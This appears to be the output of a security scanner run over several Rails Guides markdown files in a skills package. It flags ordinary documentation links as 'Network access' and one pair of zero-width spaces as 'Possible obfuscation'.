[`distinct`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-distinct [`eager_load`]: - Network accessline 162
https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-distinct - Network accessline 163
[`eager_load`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-eager_load [`find`]: - Network accessline 164
https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-eager_load - Network accessline 165
[`find`]: https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-find [`group`]: - Network accessline 166
https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-find - Network accessline 167
[`group`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-group [`having`]: - Network accessline 168
https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-group - Network accessline 169
[`having`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-having [`includes`]: - Network accessline 170
https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-having - Network accessline 171
[`includes`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-includes [`joins`]: - Network accessline 172
https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-includes - Network accessline 173
[`joins`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-joins [`left_outer_joins`]: - Network accessline 174
https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-joins - Network accessline 175
[`left_outer_joins`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-left_outer_joins [`limit`]: - Network accessline 176
https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-left_outer_joins - Network accessline 177
[`limit`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-limit [`lock`]: - Network accessline 178
https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-limit - Network accessline 179
[`lock`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-lock [`none`]: - Network accessline 180
https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-lock - Network accessline 181
[`none`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-none [`offset`]: - Network accessline 182
https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-none - Network accessline 183
[`offset`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-offset [`order`]: - Network accessline 184
https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-offset - Network accessline 185
[`order`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-order [`preload`]: - Network accessline 186
https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-order - Network accessline 187
[`preload`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-preload [`readonly`]: - Network accessline 188
https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-preload - Network accessline 189
[`readonly`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-readonly [`references`]: - Network accessline 190
https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-readonly - Network accessline 191
[`references`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-references [`reorder`]: - Network accessline 192
https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-references - Network accessline 193
[`reorder`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-reorder [`reselect`]: - Network accessline 194
https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-reorder - Network accessline 195
[`reselect`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-reselect [`regroup`]: - Network accessline 196
https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-reselect - Network accessline 197
[`regroup`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-regroup [`reverse_order`]: - Network accessline 198
https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-regroup - Network accessline 199
[`reverse_order`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-reverse_order [`select`]: - Network accessline 200
https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-reverse_order - Network accessline 201
[`select`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-select [`where`]: - Network accessline 202
https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-select - Network accessline 203
[`where`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-where [`with_lock`]: - Network accessline 204
https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-where - Network accessline 205
[`with_lock`]: https://api.rubyonrails.org/classes/ActiveRecord/Locking/Pessimistic.html#method-i-with_lock [`sqlcourse`]: https://www.khanacademy.org/computing/computer-programming/sql - Network accessline 206
https://api.rubyonrails.org/classes/ActiveRecord/Locking/Pessimistic.html#method-i-with_lock - Network accessline 207
[`sqlcourse`]: https://www.khanacademy.org/computing/computer-programming/sql - Network accessline 208
[`rdbmsinfo`]: https://www.devart.com/what-is-rdbms/ - Network accessline 303
[`take`]: https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-take - Network accessline 304
https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-take - Network accessline 306
https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-take-21 - Network accessline 369
[`first`]: https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-first - Network accessline 370
https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-first - Network accessline 372
https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-first-21 - Network accessline 435
[`last`]: https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-last - Network accessline 436
https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-last - Network accessline 438
https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-last-21 - Network accessline 489
[`find_by`]: https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-find_by - Network accessline 490
https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-find_by - Network accessline 492
https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-find_by-21 - Network accessline 583
[`all`]: https://api.rubyonrails.org/classes/ActiveRecord/Scoping/Named/ClassMethods.html#method-i-all - Network accessline 584
https://api.rubyonrails.org/classes/ActiveRecord/Scoping/Named/ClassMethods.html#method-i-all - Network accessline 585
[`where`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-where [`order`]: - Network accessline 586
https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-where - Network accessline 587
[`order`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-order [`limit`]: - Network accessline 588
https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-order - Network accessline 589
[`limit`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-limit [`group`]: - Network accessline 590
https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-limit - Network accessline 592
https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-group - Network accessline 596
Active Record supports [Method Chaining](https://en.wikipedia.org/wiki/Method_chaining), which allows us to use - Network accessline 597
Chaining](https://en.wikipedia.org/wiki/Method_chaining), which allows us to use - Network accessline 678
[`find_by_sql`]: https://api.rubyonrails.org/classes/ActiveRecord/Querying.html#method-i-find_by_sql - Network accessline 679
https://api.rubyonrails.org/classes/ActiveRecord/Querying.html#method-i-find_by_sql - Network accessline 694
[`lease_connection.select_all`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/DatabaseStatements.html#method-i-select_all - Network accessline 695
https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/DatabaseStatements.html#method-i-select_all - Network accessline 791
[`pluck`]: https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-pluck - Network accessline 792
https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-pluck - Possible obfuscationline 798
the first row of the specified column values <U+200B><U+200B>with corresponding data type. - Network accessline 815
[`pick`]: https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-pick - Network accessline 816
https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-pick - Network accessline 841
[`ids`]: https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-ids - Network accessline 842
https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-ids - Network accessline 914
[`find_or_create_by`]: https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-find_or_create_by - Network accessline 915
https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-find_or_create_by - Network accessline 936
[`find_or_create_by!`]: https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-find_or_create_by-21 - Network accessline 937
https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-find_or_create_by-21 - Network accessline 972
[`find_or_initialize_by`]: https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-find_or_initialize_by - Network accessline 973
https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-find_or_initialize_by - Network accessline 1028
[`create_or_find_by`]: https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-create_or_find_by - Network accessline 1029
https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-create_or_find_by - Network accessline 1054
[`create_or_find_by!`]: https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-create_or_find_by-21 - Network accessline 1055
https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-create_or_find_by-21 - Network accessline 1158
[`exists?`]: https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-exists-3F - Network accessline 1159
https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-exists-3F - Network accessline 1229
configuring.html#config-active-record-error-on-ignored-order [`find_each`]: https://api.rubyonrails.org/classes/ActiveRecord/Batches.html#method-i-find_each - Network accessline 1231
https://api.rubyonrails.org/classes/ActiveRecord/Batches.html#method-i-find_each - Network accessline 1326
[`find_in_batches`]: https://api.rubyonrails.org/classes/ActiveRecord/Batches.html#method-i-find_in_batches - Network accessline 1327
https://api.rubyonrails.org/classes/ActiveRecord/Batches.html#method-i-find_in_batches - Network accessline 1481
[`sanitize_sql_like`]: https://api.rubyonrails.org/classes/ActiveRecord/Sanitization/ClassMethods.html#method-i-sanitize_sql_like - Network accessline 1482
https://api.rubyonrails.org/classes/ActiveRecord/Sanitization/ClassMethods.html#method-i-sanitize_sql_like - Network accessline 1613
[`where.not`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods/WhereChain.html#method-i-not - Network accessline 1614
https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods/WhereChain.html#method-i-not - Network accessline 1629
[`or`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-or - Network accessline 1630
https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-or - Network accessline 1656
[`and`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-and - Network accessline 1657
https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-and - Network accessline 1854
[`count`]: https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-count - Network accessline 1855
https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-count - Network accessline 1955
[`unscope`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-unscope - Network accessline 1956
https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-unscope - Network accessline 1995
[`unscoped`]: https://api.rubyonrails.org/classes/ActiveRecord/Scoping/Default/ClassMethods.html#method-i-unscoped - Network accessline 1996
https://api.rubyonrails.org/classes/ActiveRecord/Scoping/Default/ClassMethods.html#method-i-unscoped - Network accessline 2024
[`only`]: https://api.rubyonrails.org/classes/ActiveRecord/SpawnMethods.html#method-i-only - Network accessline 2025
https://api.rubyonrails.org/classes/ActiveRecord/SpawnMethods.html#method-i-only - Network accessline 2063
[`except`]: https://api.rubyonrails.org/classes/ActiveRecord/SpawnMethods.html#method-i-except - Network accessline 2064
https://api.rubyonrails.org/classes/ActiveRecord/SpawnMethods.html#method-i-except - Network accessline 2198
[`rewhere`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-rewhere - Network accessline 2199
https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-rewhere - Network accessline 2230
[`regroup`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-regroup - Network accessline 2231
https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-regroup - Network accessline 2863
[`strict_loading`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-strict_loading - Network accessline 2864
https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-strict_loading - Network accessline 2893
[`strict_loading!`]: https://api.rubyonrails.org/classes/ActiveRecord/Core.html#method-i-strict_loading-21 - Network accessline 2894
https://api.rubyonrails.org/classes/ActiveRecord/Core.html#method-i-strict_loading-21 - Network accessline 2940
[`scope`]: https://api.rubyonrails.org/classes/ActiveRecord/Scoping/Named/ClassMethods.html#method-i-scope - Network accessline 2941
https://api.rubyonrails.org/classes/ActiveRecord/Scoping/Named/ClassMethods.html#method-i-scope - Network accessline 3086
[`default_scope`]: https://api.rubyonrails.org/classes/ActiveRecord/Scoping/Default/ClassMethods.html#method-i-default_scope - Network accessline 3087
https://api.rubyonrails.org/classes/ActiveRecord/Scoping/Default/ClassMethods.html#method-i-default_scope - Network accessline 3161
[`merge`]: https://api.rubyonrails.org/classes/ActiveRecord/SpawnMethods.html#method-i-merge - Network accessline 3162
https://api.rubyonrails.org/classes/ActiveRecord/SpawnMethods.html#method-i-merge - Network accessline 3216
[`scoping`]: https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-scoping - Network accessline 3217
https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-scoping - Network accessline 3253
[`unscoped`]: https://api.rubyonrails.org/classes/ActiveRecord/Scoping/Default/ClassMethods.html#method-i-unscoped - Network accessline 3254
https://api.rubyonrails.org/classes/ActiveRecord/Scoping/Default/ClassMethods.html#method-i-unscoped - Network accessline 3310
You can read more about enums in the [ActiveRecord::Enum documentation](https://api.rubyonrails.org/classes/ActiveRecord/Enum.html). - Network accessline 3311
documentation](https://api.rubyonrails.org/classes/ActiveRecord/Enum.html). - Network accessline 3313
[`enum`]: https://api.rubyonrails.org/classes/ActiveRecord/Enum.html#method-i-enum - Network accessline 3314
https://api.rubyonrails.org/classes/ActiveRecord/Enum.html#method-i-enum - Network accessline 3383
[`average`]: https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-average - Network accessline 3384
https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-average - Network accessline 3397
[`minimum`]: https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-minimum - Network accessline 3398
https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-minimum - Network accessline 3410
[`maximum`]: https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-maximum - Network accessline 3411
https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-maximum - Network accessline 3424
[`sum`]: https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-sum - Network accessline 3425
https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-sum - Network accessline 3541
[`explain`]: https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-explain - Network accessline 3542
https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-explain - Network accessline 3598
[MySQL5.7-explain]: https://dev.mysql.com/doc/refman/5.7/en/explain.html - Network accessline 3599
[MySQL8-explain]: https://dev.mysql.com/doc/refman/8.0/en/explain.html - Network accessline 3600
[MariaDB-explain]: https://mariadb.com/kb/en/analyze-and-explain-statements/ - Network accessline 3607
* SQLite3: [EXPLAIN QUERY PLAN](https://www.sqlite.org/eqp.html) - Network accessline 3609
* MySQL: [EXPLAIN Output Format](https://dev.mysql.com/doc/refman/en/explain-output.html) - Network accessline 3610
Format](https://dev.mysql.com/doc/refman/en/explain-output.html) - Network accessline 3612
* MariaDB: [EXPLAIN](https://mariadb.com/kb/en/mariadb/explain/) - Network accessline 3614
* PostgreSQL: [Using EXPLAIN](https://www.postgresql.org/docs/current/static/using-explain.html) - Network accessline 3615
EXPLAIN](https://www.postgresql.org/docs/current/static/using-explain.html)
packages/autoskills/skills-registry/rails-guides/references/active_record_validations.md
- Network accessline 1
**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.** - Network accessline 145
[`create`]: https://api.rubyonrails.org/classes/ActiveRecord/Persistence/ClassMethods.html#method-i-create - Network accessline 146
https://api.rubyonrails.org/classes/ActiveRecord/Persistence/ClassMethods.html#method-i-create - Network accessline 147
[`create!`]: https://api.rubyonrails.org/classes/ActiveRecord/Persistence/ClassMethods.html#method-i-create-21 [`save`]: - Network accessline 148
https://api.rubyonrails.org/classes/ActiveRecord/Persistence/ClassMethods.html#method-i-create-21 - Network accessline 149
[`save`]: https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-save [`save!`]: - Network accessline 150
https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-save - Network accessline 151
[`save!`]: https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-save-21 [`update`]: - Network accessline 152
https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-save-21 - Network accessline 153
[`update`]: https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-update [`update!`]: - Network accessline 154
https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-update - Network accessline 156
https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-update-21 - Network accessline 189
[`decrement!`]: https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-decrement-21 - Network accessline 190
https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-decrement-21 - Network accessline 191
[`decrement_counter`]: https://api.rubyonrails.org/classes/ActiveRecord/CounterCache/ClassMethods.html#method-i-decrement_counter [`increment!`]: - Network accessline 192
https://api.rubyonrails.org/classes/ActiveRecord/CounterCache/ClassMethods.html#method-i-decrement_counter - Network accessline 193
[`increment!`]: https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-increment-21 [`increment_counter`]: - Network accessline 194
https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-increment-21 - Network accessline 195
[`increment_counter`]: https://api.rubyonrails.org/classes/ActiveRecord/CounterCache/ClassMethods.html#method-i-increment_counter [`insert`]: - Network accessline 196
https://api.rubyonrails.org/classes/ActiveRecord/CounterCache/ClassMethods.html#method-i-increment_counter - Network accessline 197
[`insert`]: https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-insert [`insert!`]: - Network accessline 198
https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-insert - Network accessline 199
[`insert!`]: https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-insert-21 [`insert_all`]: - Network accessline 200
https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-insert-21 - Network accessline 201
[`insert_all`]: https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-insert_all [`insert_all!`]: - Network accessline 202
https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-insert_all - Network accessline 203
[`insert_all!`]: https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-insert_all-21 [`toggle!`]: - Network accessline 204
https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-insert_all-21 - Network accessline 205
[`toggle!`]: https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-toggle-21 [`touch`]: - Network accessline 206
https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-toggle-21 - Network accessline 207
[`touch`]: https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-touch [`touch_all`]: - Network accessline 208
https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-touch - Network accessline 209
[`touch_all`]: https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-touch_all [`update_all`]: - Network accessline 210
https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-touch_all - Network accessline 211
[`update_all`]: https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-update_all [`update_attribute`]: - Network accessline 212
https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-update_all - Network accessline 213
[`update_attribute`]: https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-update_attribute [`update_attribute!`]: - Network accessline 214
https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-update_attribute - Network accessline 215
[`update_attribute!`]: https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-update_attribute-21 [`update_column`]: - Network accessline 216
https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-update_attribute-21 - Network accessline 217
[`update_column`]: https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-update_column [`update_columns`]: - Network accessline 218
https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-update_column - Network accessline 219
[`update_columns`]: https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-update_columns [`update_counters`]: - Network accessline 220
https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-update_columns - Network accessline 221
[`update_counters`]: https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-update_counters [`upsert`]: - Network accessline 222
https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-update_counters - Network accessline 223
[`upsert`]: https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-upsert [`upsert_all`]: - Network accessline 224
https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-upsert - Network accessline 226
https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-upsert_all - Network accessline 289
[`errors`]: https://api.rubyonrails.org/classes/ActiveModel/Validations.html#method-i-errors - Network accessline 290
https://api.rubyonrails.org/classes/ActiveModel/Validations.html#method-i-errors - Network accessline 291
[`invalid?`]: https://api.rubyonrails.org/classes/ActiveModel/Validations.html#method-i-invalid-3F [`valid?`]: - Network accessline 292
https://api.rubyonrails.org/classes/ActiveModel/Validations.html#method-i-invalid-3F - Network accessline 294
https://api.rubyonrails.org/classes/ActiveRecord/Validations.html#method-i-valid-3F - Network accessline 326
Additionally, you can use the [`errors.add`](https://api.rubyonrails.org/classes/ActiveModel/Errors.html#method-i-add) - Network accessline 327
[`errors.add`](https://api.rubyonrails.org/classes/ActiveModel/Errors.html#method-i-add) - Network accessline 342
[Errors#squarebrackets]: https://api.rubyonrails.org/classes/ActiveModel/Errors.html#method-i-5B-5D - Network accessline 343
https://api.rubyonrails.org/classes/ActiveModel/Errors.html#method-i-5B-5D - Network accessline 391
[`ActiveModel::Validations::HelperMethods`]: https://api.rubyonrails.org/classes/ActiveModel/Validations/HelperMethods.html - Network accessline 392
https://api.rubyonrails.org/classes/ActiveModel/Validations/HelperMethods.html - Network accessline 467
[`Object#present?`]: https://api.rubyonrails.org/classes/Object.html#method-i-present-3F - Network accessline 468
https://api.rubyonrails.org/classes/Object.html#method-i-present-3F - Network accessline 591
NOTE: The validator requires a compare option be supplied. Each option accepts a value, proc, or symbol. Any class that includes [Comparable](https://docs.ruby-lang.org/en/master/Comparable.html) can be compared. - Network accessline 593
[Comparable](https://docs.ruby-lang.org/en/master/Comparable.html) can be compared. - Network accessline 859
[`Object#blank?`]: https://api.rubyonrails.org/classes/Object.html#method-i-blank-3F - Network accessline 860
https://api.rubyonrails.org/classes/Object.html#method-i-blank-3F - Network accessline 927
[`validates_uniqueness_of`]: https://api.rubyonrails.org/classes/ActiveRecord/Validations/ClassMethods.html#method-i-validates_uniqueness_of - Network accessline 928
https://api.rubyonrails.org/classes/ActiveRecord/Validations/ClassMethods.html#method-i-validates_uniqueness_of - Network accessline 929
[`add_index`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_index [the MySQL manual]: - Network accessline 930
https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_index - Network accessline 931
[the MySQL manual]: https://dev.mysql.com/doc/refman/en/multiple-column-indexes.html [the MariaDB manual]: https://mariadb.com/kb/en/compound-composite-indexes/ - Network accessline 932
https://dev.mysql.com/doc/refman/en/multiple-column-indexes.html - Network accessline 933
[the MariaDB manual]: https://mariadb.com/kb/en/compound-composite-indexes/ - Network accessline 935
https://www.postgresql.org/docs/current/static/ddl-constraints.html - Network accessline 963
[`validates_associated`]: https://api.rubyonrails.org/classes/ActiveRecord/Validations/ClassMethods.html#method-i-validates_associated - Network accessline 964
https://api.rubyonrails.org/classes/ActiveRecord/Validations/ClassMethods.html#method-i-validates_associated - Network accessline 989
[`validates_each`]: https://api.rubyonrails.org/classes/ActiveModel/Validations/ClassMethods.html#method-i-validates_each - Network accessline 990
https://api.rubyonrails.org/classes/ActiveModel/Validations/ClassMethods.html#method-i-validates_each - Network accessline 1106
[`validates_with`]: https://api.rubyonrails.org/classes/ActiveModel/Validations/ClassMethods.html#method-i-validates_with - Network accessline 1107
https://api.rubyonrails.org/classes/ActiveModel/Validations/ClassMethods.html#method-i-validates_with - Network accessline 1126
[`ActiveModel::Validations`]: https://api.rubyonrails.org/classes/ActiveModel/Validations.html - Network accessline 1127
https://api.rubyonrails.org/classes/ActiveModel/Validations.html - Network accessline 1182
`%{attribute}`, and `%{model}` which will be dynamically replaced when validation fails. This replacement is done using the [i18n gem](https://github.com/ruby-i18n/i18n), and the placeholders must match - Network accessline 1183
validation fails. This replacement is done using the [i18n gem](https://github.com/ruby-i18n/i18n), and the placeholders must match exactly, no spaces are allowed. - Network accessline 1184
gem](https://github.com/ruby-i18n/i18n), and the placeholders must match - Network accessline 1370
[`with_options`]: https://api.rubyonrails.org/classes/Object.html#method-i-with_options - Network accessline 1371
https://api.rubyonrails.org/classes/Object.html#method-i-with_options - Network accessline 1463
[`validate`]: https://api.rubyonrails.org/classes/ActiveModel/Validations/ClassMethods.html#method-i-validate - Network accessline 1464
https://api.rubyonrails.org/classes/ActiveModel/Validations/ClassMethods.html#method-i-validate - Network accessline 1517
[`ActiveModel::EachValidator`]: https://api.rubyonrails.org/classes/ActiveModel/EachValidator.html - Network accessline 1518
https://api.rubyonrails.org/classes/ActiveModel/EachValidator.html - Network accessline 1520
https://api.rubyonrails.org/classes/ActiveModel/Validator.html - Network accessline 1643
[`ActiveModel::Errors`]: https://api.rubyonrails.org/classes/ActiveModel/Errors.html - Network accessline 1644
https://api.rubyonrails.org/classes/ActiveModel/Errors.html - Network accessline 1680
[`ActiveModel::Error`]: https://api.rubyonrails.org/classes/ActiveModel/Error.html - Network accessline 1681
https://api.rubyonrails.org/classes/ActiveModel/Error.html - Network accessline 1793
[`full_message`]: https://api.rubyonrails.org/classes/ActiveModel/Errors.html#method-i-full_message - Network accessline 1794
https://api.rubyonrails.org/classes/ActiveModel/Errors.html#method-i-full_message - Network accessline 1796
https://api.rubyonrails.org/classes/ActiveModel/Errors.html#method-i-where - Network accessline 1820
[`add`]: https://api.rubyonrails.org/classes/ActiveModel/Errors.html#method-i-add - Network accessline 1821
https://api.rubyonrails.org/classes/ActiveModel/Errors.html#method-i-add
packages/autoskills/skills-registry/rails-guides/references/active_storage_overview.md
- Network accessline 1
**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.** - Network accessline 2
<https://guides.rubyonrails.org>.** - Network accessline 80
* [libvips](https://github.com/libvips/libvips) or - Network accessline 81
[ImageMagick](https://imagemagick.org/index.php) - for image analysis and - Network accessline 82
transformations. * [ffmpeg](http://ffmpeg.org/) - for video previews and ffprobe for video/audio analysis. - Network accessline 83
* [ffmpeg](http://ffmpeg.org/) - for video previews and ffprobe for video/audio - Network accessline 84
analysis. * [poppler](https://poppler.freedesktop.org/) or [muPDF](https://mupdf.com/) - for PDF previews. - Network accessline 85
* [poppler](https://poppler.freedesktop.org/) or [muPDF](https://mupdf.com/) - - Network accessline 135
These routes are mounted under `/rails/active_storage` by default. For example, So when someone requests a file attachment in your app, the URL may look like `https://example.com/rails/active_storage/blobs/redirect/eyJf.../photo.jpg`. You c - Network accessline 137
`https://example.com/rails/active_storage/blobs/redirect/eyJf.../photo.jpg`. You can see all the routes by running: - Network accessline 144
`config.active_storage.routes_prefix` in `config/application.rb`. It accepts any value supported by Rails' [`scope`](https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Scoping.html#method-i-scope) routing method: - Network accessline 146
[`scope`](https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Scoping.html#method-i-scope) routing method: - Network accessline 230
[`has_one_attached`]: https://api.rubyonrails.org/classes/ActiveStorage/Attached/Model.html#method-i-has_one_attached - Network accessline 231
https://api.rubyonrails.org/classes/ActiveStorage/Attached/Model.html#method-i-has_one_attached - Network accessline 232
